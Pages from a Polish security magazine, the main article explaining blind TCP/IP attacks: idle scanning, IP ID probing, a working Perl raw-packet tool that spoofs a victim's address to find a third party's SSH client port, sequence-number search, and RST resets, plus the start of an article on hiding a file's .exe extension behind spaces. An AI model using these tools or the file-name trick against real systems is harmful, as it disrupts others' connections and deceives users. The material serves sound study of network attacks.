IP (id 2067, offset 0, length 1500) 172.16.83.1 > 172.16.83.129: ICMP echo request, id 49943, seq 1, length 1480 IP (id 2067, offset 1480, length 1500) 172.16.83.1 > 172.16.83.129: icmp IP (id 2067, offset 2960, length 1500) 172.16.83.1 > 172.16.83.129: icmp IP (id 2067, offset 4440, length 588) 172.16.83.1 > 172.16.83.129: icmp

Skanowanie portw wykorzystujce ARP

Listing 2. Badanie sekwencji IP ID systemu Windows Vista


#hping2 172.16.83.128 -r -c 5 HPING 172.16.83.128 (eth0 172.16.83.128): NO FLAGS are set, 40 headers + 0 data bytes len=40 ip=172.16.83.128 ttl=128 DF id=348 sport=0 flags=RA seq=0 win=0 rtt=0.2 ms len=40 ip=172.16.83.128 ttl=128 DF id=+1 sport=0 flags=RA seq=1 win=0 rtt=0.2 ms len=40 ip=172.16.83.128 ttl=128 DF id=+1 sport=0 flags=RA seq=2 win=0 rtt=0.2 ms len=40 ip=172.16.83.128 ttl=128 DF id=+1 sport=0 flags=RA seq=3 win=0 rtt=0.3 ms len=40 ip=172.16.83.128 ttl=128 DF id=+1 sport=0 flags=RA seq=4 win=0 rtt=0.2 ms

Skoro ju mowa o skanowaniu ukrytym, nie sposb pomin skanowania wykorzystujcego pakiety dania ARP. Technika ta rwnie polega na zaobserwowaniu, ktre pakiety wzbudzaj odpowied po dotarciu do ofiary, a ktre nie. Jednym z takich przypadkw s pakiety z ustawion flag FIN. Wysanie pakietu z ustawion flag FIN na otwarty port nie powinno spowodowa wygenerowania odpowiedzi. Jeeli port jest zamknity, komputer odpowiada pakietem z ustawionymi flagami RST, ACK. W przypadku systemw z Redmond dzieje si inaczej, poniewa nie ma znaczenia, czy port jest otwarty czy zamknity Windows zawsze odpowie na taki pakiet pakietem z ustawion flag RST, ACK. Mona w celu skanowania wykorzysta rwnie klasyczny SYN-SCAN, jeeli na docelowym komputerze firewall odrzuca pakiety SYN skierowane do zamknitych portw. Technika skanowania wymaga, aby skanowany komputer znajdowa si w innej sieci ni podsie skanera. Skanowanie jest lepe, poniewa wysyajc pakiety zmieniamy adres rdowy pakietu na adres komputera nieistniejcego lub aktualnie niepracujcego w naszej podsieci. Jeeli skanowana maszyna odpowie, router czcy nasz sie bdzie prbowa zamieni faszywy adres IP z naszej podsieci na adres fizyczny przy pomocy protokou ARP. Nie powinno to nastrcza szczeglnych proble-

Listing 3. Badanie sekwencji IP ID systemu Linux


#hping2 172.16.83.129 -r -c 5 HPING 172.16.83.129 (eth0 172.16.83.129): NO FLAGS are set, 40 headers + 0 data bytes len=40 ip=172.16.83.129 ttl=64 DF id=0 sport=0 flags=RA seq=0 win=0 rtt=0.5 ms len=40 ip=172.16.83.129 ttl=64 DF id=+0 sport=0 flags=RA seq=1 win=0 rtt=0.1 ms len=40 ip=172.16.83.129 ttl=64 DF id=+0 sport=0 flags=RA seq=2 win=0 rtt=0.1 ms len=40 ip=172.16.83.129 ttl=64 DF id=+0 sport=0 flags=RA seq=3 win=0 rtt=0.1 ms len=40 ip=172.16.83.129 ttl=64 DF id=+0 sport=0 flags=RA seq=4 win=0 rtt=0.2 ms

Listing 4. Wpyw pakietw wysyanych przez poszczeglne hosty na uywane IP ID


#hping2 172.16.83.128 -1 -r -c 5 HPING 172.16.83.128 (eth0 172.16.83.128): icmp mode set, 28 headers + 0 data bytes len=28 ip=172.16.83.128 ttl=128 id=1372 icmp_seq=0 rtt=0.2 ms len=28 ip=172.16.83.128 ttl=128 id=+3 icmp_seq=1 rtt=0.2 ms len=28 ip=172.16.83.128 ttl=128 id=+3 icmp_seq=2 rtt=0.3 ms len=28 ip=172.16.83.128 ttl=128 id=+3 icmp_seq=3 rtt=0.2 ms len=28 ip=172.16.83.128 ttl=128 id=+3 icmp_seq=4 rtt=0.3 ms hping2 172.16.83.129 -1 -r -c 5 HPING 172.16.83.129 (eth0 172.16.83.129): icmp mode set, 28 headers + 0 data bytes len=28 ip=172.16.83.129 ttl=64 id=6967 icmp_seq=0 rtt=0.2 ms len=28 ip=172.16.83.129 ttl=64 id=+1 icmp_seq=1 rtt=0.9 ms len=28 ip=172.16.83.129 ttl=64 id=+1 icmp_seq=2 rtt=0.1 ms len=28 ip=172.16.83.129 ttl=64 id=+1 icmp_seq=3 rtt=0.1 ms len=28 ip=172.16.83.129 ttl=64 id=+1 icmp_seq=4 rtt=0.5 ms

www.hakin9.org

hakin9 Nr 01/2008

23

Atak

przez Marcina Ulikowskiego)? Pozostaje jedynie technika pasywnego nasuchiwania interesujcego nas ruchu i wstrzyknicie we waciwym momencie odpowiednio sformatowanego pakietu. Budowa protokow TCP oraz IP oraz poczenie techniki aktywnego i pasywnego skanowania umoliwia czciowe obejcie tego problemu. Kolejnym interesujcym faktem oprcz analizy IP ID bdzie zachowanie si hostw biorcych udzia w konwersacji na dodatkowe niespodziewane pakiety. Zamy, e ustanowilimy poczenie SSH z komputera A do komputera B. Po stronie komputera A zosta uyty port 49160 do poczenia si z komputerem B na port 22. Wysyajc pakiety z komputera C bdziemy chcieli empirycznie sprawdzi, czy komputer A uywa portu 49160. Czytajc RFC nr 793, mona si natkn na interesujc sytuacj opisan na stronie 34. Autorzy RFC opisuj w niej zachowanie protokou TCP w przypadku, gdy jedna ze stron zgubia poczenie. W RFC znajdziemy rwnie opis zachowania w innych interesujcych sytuacjach kiedy host otrzyma pakiet nalecy do nieistniejcego poczania oraz kiedy dostanie pakiet SYN-ACK nalecy do poczenia. Zachowanie w wyej wymienionych trzech sytuacjach mona opisa nastpujcym przykadem: komputer C wysya pakiet z ustawionym adresem rdowym komputera B i adresem docelowym komputera A. Port docelowy jest rwny portowi usugi SSH, natomiast port rdowy ustawiony jest na port, ktry chcemy odkry (port X). Jedyn ustawiona flag TCP jest SYN. Wysanie takiego pakietu do B zgodnie z RFC spowoduje odesanie w kierunku rda pakietu z ustawionymi flagami SYN-ACK jeeli pakiet nie nalea do konwersacji oraz ACK przeciwnym przypadku. Po dotarciu pakietu do A moliwe s dwie sytuacje. Jeli pakiet naley do konwersacji A-B i zawiera jedynie flag ACK, nic nie jest odsyane. Pakiet nienalecy do adnego poczenia

Interesujce pola IP i TCP

Pole ID protokou IP wykorzystywane jest przy defragmentacji przychodzcych pakietw. Dla kadego wysanego pakietu posiada unikaln warto. Jeeli pakiet zostanie sfragmentowany przez poredniczcy router, pole ID pozostanie niezmienione i takie samo w obrbie wszystkich fragmentw. W procesie fragmentacji bierze udzia rwnie adres rdowy pakietu, pole fragment offset oraz dwa bity - DF i MF pola nastpujcego po IP ID. Pierwszy bit DF zezwala lub zabrania fragmentacji. Bit MF jest ustawiony na 1 dla pierwszego i kolejnych fragmentw pakietu oraz na 0 dla ostatniego fragmentu. Pole fragment offset pozwala okreli pozycj danego fragmentu w oryginalnym pakiecie. Pole to ma 13 bitw, co przy maksymalnej wielkoci pakietu IP rwnej 0xFFFF powoduje, e najmniejszy fragment ma 8 bajtw. Na przykad dla MTU rwnego 1500 wysanie pakietu ICMP ECHO o wielkoci 5000 bajtw (w sumie 5008 po doliczeniu nagwka ICMP) bdzie widziane tak, jak na Listingu 1. Pola TCP SEQ oraz TCP ACK s licznikami. Pierwszy z nich liczy bajty wysane, a drugi potwierdzane. Doprecyzowujc, TCP SEQ okrela pozycj aktualnie wysyanej paczki danych w caym strumieniu, natomiast druga warto okrela, ktry bajt pochodzcy od drugiej strony poprawnie przetworzylimy. Wspominajc o SEQ i ACK nie mona pomin pola Window Size, ktre okrela, ile danych strona ustawiajca t warto jest w stanie odebra.

Listing 5. Uruchomienie skanera NMAP z opcj Idle Scanning


#nmap -sI 172.16.83.128 172.16.83.129 WARNING: Many people use -P0 w/Idlescan to prevent pings from their true IP. On the other hand, timing info Nmap gains from pings can allow for faster, more reliable scans. Starting Nmap 4.20 ( http://insecure.org ) at 2007-10-01 04:46 CEST Idlescan using zombie 172.16.83.128 (172.16.83.128:80); Class: Incremental Interesting ports on 172.16.83.129: Not shown: 1694 closed|filtered ports PORT STATE SERVICE 22/tcp open ssh 23/tcp open telnet 113/tcp open auth MAC Address: 00:30:4F:A1:65:0A Nmap finished: 1 IP address (1 host up) scanned in 16.124 seconds

Listing 6. Wpyw poprawnych i niepoprawnych pl portw rdowych na wysyane dane


02:02:57.810075 IP 172.16.83.128.49160 > 172.16.83.129.ssh: S 1218938372: 1218938372(0) win 512 02:02:57.810253 IP 172.16.83.129.ssh > 172.16.83.128.49160: . ack 1768219816 win 4512 <nop,nop,sack 1 {3745685853:3745685854}> 02:02:59.392821 IP 172.16.83.128.49160 > 172.16.83.129.ssh: S 605303214: 605303214(0) win 512 02:02:59.392933 IP 172.16.83.129.ssh > 172.16.83.128.49160: . ack 1 win 4512 <nop,nop,sack 1 {3132050695:3132050696}> 02:03:03.406027 IP 172.16.83.128.49161 > 172.16.83.129.ssh: S 1540719811: 1540719811(0) win 512 02:03:03.406145 IP 172.16.83.129.ssh > 172.16.83.128.49161: S 4169466566: 4169466566(0) ack 1540719812 win 5840 <mss 1460> 02:03:03.406466 IP 172.16.83.128.49161 > 172.16.83.129.ssh: R 1540719812: 1540719812(0) win 0 02:03:04.314936 IP 172.16.83.128.49161 > 172.16.83.129.ssh: S 1240411569: 1240411569(0) win 512 02:03:04.315065 IP 172.16.83.129.ssh > 172.16.83.128.49161: S 4170366716: 4170366716(0) ack 1240411570 win 5840 <mss 1460> 02:03:04.315275 IP 172.16.83.128.49161 > 172.16.83.129.ssh: R 1240411570: 1240411570(0) win 0

24

hakin9 Nr 01/2008

www.hakin9.org

Blind Attack

Listing 7a. Program, ktry odkryje porty uywane w komunikacji A-B


#!/usr/bin/perl use Net::Pcap; use Net::RawIP; use NetPacket::Ethernet qw(:strip); use NetPacket::ICMP; use Getopt::Long qw(GetOptions); use NetPacket::IP; use FileHandle; use threads; use threads::shared; use Time::HiRes; STDOUT->autoflush(1); my $my_ip,$server_ip,$server_port,$victim_ip; my $opt=1; my $promisc = 1; my $snaplen = 68; my($err,$net,$mask,$dev,$filter_t); my @probes_array; share ( @probes_array ); GetOptions( "s=s"=> \$my_ip, "d=s" => \$server_ip, "sp=s"=>\$server_port, "vi=s"=>\ $victim_ip, ) or uzycie(); uzycie() if not $server_ip; my $dev = rdev($server_ip); my $filter = "src host $victim_ip"; my $my_id_cnt=0; my $my_id_prb_cnt=-1; my @ports_to_scan = ( [0,65535] ); my @found_ports; share(@found_ports); my $thread = threads->create('start_probing', undef); die if (not defined $thread); if ( (Net::Pcap::lookupnet($dev, \$net, \$mask, \$err) ) == -1 ) { die "Net::Pcap::lookupnet failed. Error was $err"; } my $pcap_t = Net::Pcap::open_live($dev, $snaplen, $promisc, $to_ms, \$err); $pcap_t || die "Can't create packet descriptor. Error was $err"; if ( Net::Pcap::compile($pcap_t, \$filter_t, $filter, $opt, $net) == -1 ) { die "Unable to compile filter string '$filter'\n"; } Net::Pcap::setfilter($pcap_t, $filter_t); Net::Pcap::loop($pcap_t, -1, \&callback, \@x); sub start_probing { my $rtt_tuned = 0.20; my $outcond=0; print "RTT autotune. Starting from: $rtt_tuned \n"; while ($outcond==0) { local $i=0; for ($client_port=1;$client_port<100;$client_port++){ send_probe(); send_testing_packet(); Time::HiRes::sleep($rtt_tuned); } { lock (@found_ports); if (scalar(@found_ports)>=5) { $rtt_tuned = $rtt_tuned * 2; $outcond = 1; last; } undef @found_ports;

powoduje podjcie przez komputer A prby zerwania nieistniejcego poczenia A-B pakietem z ustawian flag RST. Przechwytujc ruch programem tcpdump, powinnimy uzyska co podobnego do zawartoci Listingu 6. Znaczenie poszczeglnych pl jest nastpujce: czas IP adres rdowy.port > adres docelowy.port: flagi, SEQ _ P:SEQ _ O (liczba bajtw) [ack ACK] rozmiar okna <opcje>, pole SEQ _ P:SEQ _ O okrela, jakie s numery sekwencyjne przesyanych bajtw.

Test polega na wysaniu czterech pakietw: dwch nalecych do poczenia A-B oraz dwch, ktre do niego nie naleay. Prosty program wykrywajcy port uyty przez maszyn A przedstawiony jest na Listingu 7. Przykadowe wywoanie programu ma posta:
./discover _ ports.pl -s 172.16.83.1 -d 172.16.83.129 -sp 22 -vi 172.16.83.128

Program zwrci w miar dokadn list portw rdowych uytych w komunikacji A-B:
Found ports: 45474 45730 49160 51885

W celu przeprowadzenia udanego ataku RST naley jeszcze zdoby dodatkow informacj. A mianowicie numery sekwencyjne uyte dla poczenia przez komputer A lub B. Do odkrycia s de facto dwie liczby liczniki bajtw w poczeniu serwera SSH oraz klienta. W celu sprawdzenia jednego z owych licznikw zastosujemy ponownie sztuczk z IP ID. Najpierw naley jednak zrozumie, do czego su flagi ACK I SEQ protokou TCP. Zamy, e host B otrzymuje pakiet. Pole SEQ tego pakietu jest licznikiem bajtw komputera A i powinno si mieci w tzw. oknie odbiorczym komputera odbierajcego wiadomo (w tym przypadku A). Okno odbiorcze jest wartoci ograniczajc liczb pakietw,

www.hakin9.org

hakin9 Nr 01/2008

25

Atak

ktre w analizowanym przypadku moe na raz odebra host A. Pole ACK pakietu pochodzcego od B okrela, ktry pakiet wysany z A zosta poprawnie odebrany i przetworzony. Aby to zobrazowa, przeledmy przykadow komunikacj C z A. Na komputerze C zostaa wydana komenda telnet A. Cz wymiany pakietw pokazuje Listing 8., w ktrym dla uproszczenia usunito niektre dane drukowane przez tcpdump. W celu ustanowienia poczenia wymieniane s pakiety od numeru 1 do 3. Jest to klasyczny przykad trzystopniowego uzgadniania numerw sekwencyjnych. Warto jednak zauway, e pakiety z ustawion flag SYN (numer sekwencyjny=3157436274) druga strona potwierdza numerem ACK (pakiet numer 2) o jeden wikszym (3157436275) tak, jakby poprzedni pakiet nis jeden dodatkowy bajt danych. Daje to nam pewno dostarczenia numerw synchronizacyjnych do drugiej strony. Komunikacja C->A zaczyna si od pakietu numer 4 wiadczcego o wysaniu 27 bajtw danych. Bajty te s potwierdzane przez A w pakiecie numer 5, w ktrym pole ACK jest rwne polu SEQ pakietu numer 4 powikszonemu o 27 bajtw danych. Pakiet numer 6 jest odpowiedzi hosta A skadajc si z 3 bajtw danych. Odpowied hosta A jest potwierdzana w pakiecie numer 7. I tak dalej. Dziki takiemu mechanizmowi oba komputery posiadaj wiedz o danych, ktre dotary do drugiego komputera i danych, ktre wymagaj retransmisji. Naszym celem bdzie wysanie pakietu, ktry bdzie mia licznik tak ustawiony, aby cay pakiet zosta zinterpretowany przez ofiar jako poprawny. Na pierwszy rzut oka wydaje si, e naley bardzo dokadnie odgadn oba te liczniki. Dla celu przeprowadzania ataku RST na system Vista jest to prawda, jednak odkrycie przedziau numerw akceptowanych przez B nie wymaga ju takiej precyzji. Gdyby nie by dopuszczony pewien margines

Listing 7b. Program, ktry odkryje porty uywane w komunikacji A-B


} $rtt_tuned = $rtt_tuned / 2; print "RTT: coud do beter: trying $rtt_tuned \n"; if ($rtt_tuned <= 0.005 ) { $outcond = 1; last; } } undef @found_ports; print "RTT established at: $rtt_tuned\n"; sleep(1); while (scalar(@ports_to_scan)!=0) { my ($port_begin,$port_end) = @{pop(@ports_to_scan)}; print "Scanning from/to: $port_begin,$port_end \n"; for ($client_port=$port_begin;$client_port<=$port_end;$client_port++) { send_probe(); send_testing_packet(); Time::HiRes::sleep ($rtt_tuned) if ($rtt_tuned>0.0005); } } print "Found ports: @found_ports\n";

} sub send_probe { my $rawip = Net::RawIP->new({icmp =>{}}); $rawip->set({ ip => { saddr => $my_ip, daddr => $victim_ip, }, icmp => { type => 8, id => NetPacket::htons($my_id_cnt), sequence => NetPacket::htons($my_id_cnt), data => timem() } }); $rawip->send(); { lock(@probes_array); push (@probes_array,$my_id_cnt); } $my_id_cnt=0 if (++$my_id_cnt>=65536); } sub send_testing_packet { my $rawip = Net::RawIP->new({ ip => {saddr => $victim_ip, daddr => $server_ip }, tcp=> {dest => $server_port, source => $client_port, psh => 1, syn => 1}}); $rawip->send(); { lock(@probes_array); push(@probes_array, $client_port); } if ($client_port % 100 == 0 ) { print "Probed client port: $client_port\n"; }

26

hakin9 Nr 01/2008

www.hakin9.org

Blind Attack

Listing 7c. Program, ktry odkryje porty uywane w komunikacji A-B


} sub received_probe_pacet { my ($raw_data) = @_; my $id,$dest_port; my $id,$port_scanned,$last_id; $ip = NetPacket::IP->decode(eth_strip($raw_data)); my ($icmp_type,$icmp_code,$icmp_chsum,$icmp_id,$icmp_seqnum,$icmp_data) = unpack("CCnnna*",$ip->{data}); { lock(@probes_array); if (scalar(@probes_array)>=3) { $id = shift (@probes _ array); $dest_port = shift (@probes_array); $last_id = $probes_array[0]; if ($last_id!=$icmp_id) { $outofsync=1; while ((scalar(@probes_array)>=3) && ($outofsync==1)) { $id = shift (@probes_array); $dest_port = shift (@probes_array); $last_id = $probes_array[0]; if ($last_id==$icmp_id) { $outofsync=0; } } } }

} sub analyze_packet { my ($raw_data) = @_; $ip = NetPacket::IP->decode(eth_strip($raw_data)); if ($ip->{proto} == NetPacket::IP::IP_PROTO_ICMP) { $icmp = NetPacket::ICMP->decode(NetPacket::IP::strip($raw_data)); if ($icmp->{code}==ICMP_ECHOREPLY) { received_probe_pacet($raw_data); } } } sub callback { my ($args,$header,$packet) = @_; analyze_packet($packet); } sub uzycie { print "$0 -s my-ip -d server-ip -sp server_port -vi victim-ip\n"; exit -1; }

} if ($my_id_prb_cnt == $ip->{id}) { push @found_ports,$dest_port; } $expected_ip_id = $icmp_id + 1; $my_id_prb_cnt=$ip->{id}; $my_id_prb_cnt++;

bdu, pakiety, ktre przyszyby w zej kolejnoci, byyby odrzucane znaczco degradujc prdko poczenia. Aby umoliwi odbieranie pakietw, ktre przychodz w rnej kolejnoci, protok TCP wprowadzi pojcie okna. De facto istniej trzy okna: nadawcze, unikania zatoru (tzw. congestion window) i odbiorcze. Oknem congestion nie bdziemy si zajmowa. Okno nadawcze zwizane jest poniekd z oknem congestion, natomiast okno odbiorcze okrela, ile dany host moe przyj danych na raz (lub patrzc od strony nadawcy ile moe on wysa danych, ktre odbiorca jest w stanie przetworzy). Rozmiar okna odbiorczego jest komunikowany nadawcy podczas ustanawiania poczenia i modyfikowany w zalenoci od warunkw panujcych w sieci. Suy do tego celu specjalne, 16-bitowe pole protokou TCP o nazwie window i znajdujce si 208 bitw od pocztku nagwka TCP. atwo zauway, e 16 bitw ogranicza maksymaln wielko okna do 65535, co jest niewystarczajce przy osigach obecnych sieci. Z pomoc przychodzi mechanizm skalowania okna, ktrego dane jako dodatkowe pole doklejane s do nagwka w fazie ustalania poczenia. Pozwala on przeskalowa okno o maksymalnie 2^14 bajtw powodujc, e dopuszczalny rozmiar okna urasta do 1GB. Due znaczenie ma rwnie domylny rozmiar okna, ktry jest inny dla kadego z systemw. Przykadowe rozmiary okien pokazane s w Tabeli 1. Warto rwnie wiedzie, e Windows Vista uywa w przeprowadzonym tecie wspczynnika skalowania okna rwnego 8 co oznacza, e rozmiar okna jest rwny 8192 pomnoone przez 256 (2^8), natomiast wspczynnik skalowania okna w systemie Linux wynosi od 2 do 4. Oczywicie nie mona zakada, e jest to regu. Jak wczeniej zostao wspomniane, numer sekwencyjny komputera A zostanie odkryty poprzez testowanie IP ID komputera z zain-

www.hakin9.org

hakin9 Nr 01/2008

27

Atak

stalowanym systemem Windows Vista. Aby uzmysowi sobie, jak tego dokona, naley zaobserwowa, co si dzieje w przypadku, gdy dany host otrzyma pakiet z numerem SEQ spoza okna odbiorczego (patrz Listing 9). Host B wysya numer sekwencyjny ostatnio odebranego bajtu. Istotne jest to, e wysyajc zwiksza licznik IP ID, ktry moemy odczyta poznan wczeniej metod. Jeeli numer SEQ jest w oknie odbiorczym hosta B, to nie odele on nam adnej odpowiedzi. Warto nadmieni, e wykrywanie numerw sekwencyjnych jest procesem szybszym ni wykrywanie portw, poniewa wysyajc pakiety do B nie musimy si przejmowa RTT pomidzy A oraz B. Nie musimy ponadto przeszukiwa penego zakresu (czyli od 0 od 2^32-1), poniewa host B uzna za poprawny numer sekwencyjny z zakresu, ktrego si spodziewa. Mona wic przyj pewien pocztkowy rozmiar okna rwny N=64K i przeszuka cay zakres numerw sekwencyjnych zwikszajc SEQ o 64K. Jeeli nie uda si nam znale okna odbiorczego, to jak sugeruje jedno ze rde ustalamy SEQ=N/2+I*N dla kadego I. Jeeli w dalszym cigu nie znajdziemy okna, ustalamy SEQ=N/4+I*N/2 i postpujemy podobnie. Jeeli uda nam si wpa w okno odbiorcze hosta B, z atwoci moemy odkry dokadny numer sekwencyjny B uywajc bisekcji, tak jak to jest pokazane na Rysunku 2. Odkrywszy numer SEQ hosta A, moemy przeprowadzi atak RST. RFC 793 dokadnie okrela wymagania i zachowanie stosu TCP w przypadku odebrania pakietu z ustawion flag RST. A mianowicie, we wszystkich stanach oprcz pocztkowego (SYN-SENT) odebrane pakiety z flag RST musz mie poprawny numer sekwencyjny. Numer sekwencyjny dla tych pakietw jest poprawny, gdy SEQ znajduje si w przedziale okna odbiorczego. W fazie SYN-SENT RST jest akceptowane, jeli pole ACK potwierdza wczeniej wysany pakiet z flag SYN.

Microsoft interpretuje RFC 793 na wasny sposb i wymaga, aby pole SEQ pakietu resetujcego poczenie byo rwne wartoci oczekiwanej, co poniekd jest bezpieczniejsze gdy teoretycznie host A powinien mc zresetowa poczenie i zna dokadn warto SEQ. Z interpretacj RFC nie ma nato-

miast problemw system A, wic gdyby z resetowaniem poczenia byy problemy, to mona sprbowa w peni lepego ataku RST na maszyn linuksow. W badanym przypadku rozmiar okna zosta po ustaleniu poczenia ustawiony na 2352 przy wspczynniku skalowania rwnym 2, co dao rozmiar okna 10128

Rysunek 1. Badanie poprawnoci portu rdowego Listing 8. Szczegy przykadowej komunikacji C<->A
IP (id 56121, length 60) 172.16.83.1.45462 > 172.16.83.129.23: S, 3157436274: 3157436274(0) IP (id 0, length 60) 172.16.83.129.23 > 172.16.83.1.45462: S, 1617613530: 1617613530(0) ack 3157436275 IP (id 56122, length 52) 172.16.83.1.45462 > 172.16.83.129.23: ., ack 1617613531 IP (id 56123, length 79) 172.16.83.1.45462 > 172.16.83.129.23: P, 3157436275: 3157436302(27) ack 1617613531 IP (id 7199, length 52) 172.16.83.129.23 > 172.16.83.1.45462: ., ack 3157436302 IP (id 7200, length 55) 172.16.83.129.23 > 172.16.83.1.45462: P, 1617613531: 1617613534(3) ack 3157436302 IP (id 56124, length 52) 172.16.83.1.45462 > 172.16.83.129.23: ., ack 1617613534 IP (id 56125, length 55) 172.16.83.1.45462 > 172.16.83.129.23: P, 3157436302: 3157436305(3) ack 1617613534

28

hakin9 Nr 01/2008

www.hakin9.org

Blind Attack

bajtw. Przejrzenie caego zakresu 2^32 numerw sekwencyjnych wymaga w tym przypadku wysania okoo 424068 pakietw. Przy zaoeniu, e typowy pakiet ma 40 bajtw, wymagaoby to wysania 16962720 bajtw. Zakadajc typowe cze o prdkoci 256 Kbit/s, zresetowanie poczenia moe zaj w najgorszym przypadku 8,7 minuty.

Atak w peni lepy

Uwany czytelnik pewnie dostrzeg, e w peni lepy atak jest moliwy do zrealizowania w sprzyjajcych warunkach. Przy oknie odbiorczym rzdu 1GB wystarcz cztery prby, aby zresetowa dane poczenie. Problem moe sprawi odkrycie portw rdowych i docelowych. Jednak i one s w pewnym stopniu przewidywalne (patrz Tabela 2). Majc do dyspozycji zakresy i zakadajc 4 prby na rozczenie poczenia, mona w optymistycznym przypadku doprowadzi do awarii poczenia w mniej ni 9 minut. Oczywicie w wikszoci przypadkw nie ma si co udzi pomylny atak w tak krtkim czasie nie powiedzie si.

Rysunek 2. Dokadne znajdowanie numeru sekwencyjnego Listing 9. Reakcja systemu Windows Vista na pakiet z nieprawidowym numerem sekwencyjnym
Wywoanie polecenia z C ./hping2 172.16.83.128 -a 172.16.83.129 -s 22 -p 49165 -M 0 -c 5 spowoduje odesanie odpowiedzi przez B: IP (ttl 128, id 393, offset 0, flags [DF], proto TCP (6), length 40) 172.16.83.128.49165 > 172.16.83.129.22: ., ack 200270774 win 253 IP (ttl 128, id 394, offset 0, flags [DF], proto TCP (6), length 40) 172.16.83.128.49165 > 172.16.83.129.22: ., ack 200270774 win 253 IP (ttl 128, id 395, offset 0, flags [DF], proto TCP (6), length 40) 172.16.83.128.49165 > 172.16.83.129.22: ., ack 200270774 win 253 IP (ttl 128, id 396, offset 0, flags [DF], proto TCP (6), length 40) 172.16.83.128.49165 > 172.16.83.129.22: ., ack 200270774 win 253 IP (ttl 128, id 397, offset 0, flags [DF], proto TCP (6), length 40) 172.16.83.128.49165 > 172.16.83.129.22: ., ack 200270774 win 253

Caa reszta

Naley zda sobie spraw, e artyku opisuje tylko niektre moliwoci, jakie nios ze sob lepe ataki. Skanowanie oraz ataki RST s przysowiowym wierzchokiem gry lodowej, pod ktr kryje si wiele moliwoci. Wierny czytelnik hakin9 od razu powinien zauway fakt, e wprowadzanie wasnych informacji do ustanowionego poczenia umoliwia zastosowanie wikszoci atakw we wszystkich warstwach, poczwszy od warstwy IP. Dziki wiedzy zdobytej podczas skanowania mona rwnie przypieszy atak ICMP opisywany w hakin9 3/2007 przez Marcina Ulikowskiego, nie mwic ju moli-

woci wykorzystania pluginu wasnej produkcji w Metasploit (patrz: hakin9 4/2007).

Podsumowanie

Warto uzmysowi sobie, dlaczego lepe ataki s moliwe. Wszdzie tam, gdzie wystpuj przewidywalne liczby, pojawia si niebezpieczestwo wykorzystania tego faktu. Ponadto same protokoy wykorzystywane w Internecie oraz ich pena lub czciowa zgodno z RFC stanowi niejakie zagroenie, poniewa stan

O autorze

Konrad Malewski, absolwent informatyki Politechniki lskiej. Obecnie doktorant informatyki na AGH. Administrator amatorskich sieci komputerowych. Zarwno w pracy, jak i prywatnie interesuje si programowaniem oraz bezpieczestwem aplikacji sieciowych. Kontakt z autorem: kmalewski@gmail.com

wiedzy o bezpieczestwie znacznie si zwikszy od czasu sformalizowania standardw internetowych. Istnienie technik opisanych w artykule zawdziczamy dokadnemu poznaniu zarwno protokow, jak i ich saboci. wiadomo zagroenia istnieje i zewszd pojawiaj si inicjatywy, ktre maj na celu niwelacje zagroenia, jak np. grsecurity czy inne atki jdra lub chociaby zmiany stosu TCP/IP w Windows Vista. Z drugiej strony jednak naley spojrze na zamys TCP/IP z duym uznaniem. Rozwizania te, niekiedy powstae 30 lat temu, s codziennie wykorzystywane przez miliony uytkownikw. Gdyby technologi TCP/IP porwna do motoryzacji, od razu mona sobie wyobrazi bezpieczestwo na drodze, po ktrej poruszaj si trzydziestoletnie rzchy. l

www.hakin9.org

hakin9 Nr 01/2008

29

Niebezpieczne nazwy plikw


Atak
Micha Gynvael Coldwind Skadnikiewicz

stopie trudnoci

Programici, zarwno pocztkujcy, jak i profesjonalici, maj tendencje do pokadania przesadnego zaufania w poprawnoci otrzymywanych z zewntrz nazw plikw. W konsekwencji ich aplikacje mog sta si wejciem do systemu dla potencjalnego wamywacza.

iniejszy artyku ma na celu zaznajomi Czytelnika z najczstszymi bdami popenianymi przez programistw podczas obsugi otrzymanych z zewntrz nazw plikw.

Ukrywanie penej nazwy pliku

Cz aplikacji umoliwiajcych transfer plikw midzy dwoma uytkownikami, a w szczeglnoci ich odbieranie, przed przystpieniem do faktycznego transferu danych informuje uytkownika co do nazwy przesyanego lub odbieranego pliku, aby mg on zadecydowa, czy plik faktycznie powinien zosta odebrany, czy te ma zosta odrzucony, np. z powodw zwizanych z bezpieczestwem. Czstym zaniedbaniem w tym miejscu jest dostarczenie przez programist zbyt wskiego pola przeznaczonego do wywietlenia nazwy plikw, przez co cz nazwy pliku zostanie ukryta przed uytkownikiem. Bd na pierwszy rzut oka wydaje si by trywialny, jednak jego konsekwencje mog by powane. Przykadowo, w roku 2004 bd tego typu zosta wykryty przez Bartosza Kwitkowskiego w module przesyania plikw popularnego polskiego komunikatora Gadu-Gadu (http://securitytracker.com/ id?1011037). Niebezpieczestwo tego bdu po-

lega na ukryciu przed uytkownikiem prawdziwego rozszerzenia pliku poprzez sformuowanie nazwy w nastpujcy sposb: obrazek.jpg<DUO SPACJI>.exe. Z uwagi na zbyt wskie pole wywietlajce nazw pliku oraz du ilo spacji w nazwie, faktyczne rozszerzenie odbieranego pliku nie zmieci si w polu nazwy a wic nie zostanie wywietlone (patrz Rysunek 1). Programista tworzcy aplikacj powinien zapewni odpowiednie jej zachowanie w takim wypadku. Przykadowym rozwizaniem moe by

Z artykuu dowiesz si
o najczstszych zaniedbaniach w implementacji obsugi nazw plikw otrzymanych z zewntrz, jakie s konsekwencje nieodpowiedniej walidacji otrzymanych z zewntrz danych, o trudnociach wynikajcych z pisania midzyplatformowych aplikacji operujcych na plikach.

Co powiniene wiedzie
mie oglne pojcie o popularnych jzykach programowania oraz najbardziej znanych systemach operacyjnych.

30

hakin9 Nr 01/2008

www.hakin9.org

Niebezpieczne nazwy plikw

uycie pola wieloliniowego lub znacznika informujcego uytkownika, e nazwa ma cig dalszy przy czym naley pamita, aby uy dobrze widocznego znacznika. Czsto uywany jest wtedy wielokropek, jednak zdaniem autora trzy piksele tworzce wielokropek mog zosta przez uytkownika niezauwaone.

Znak nowej linii

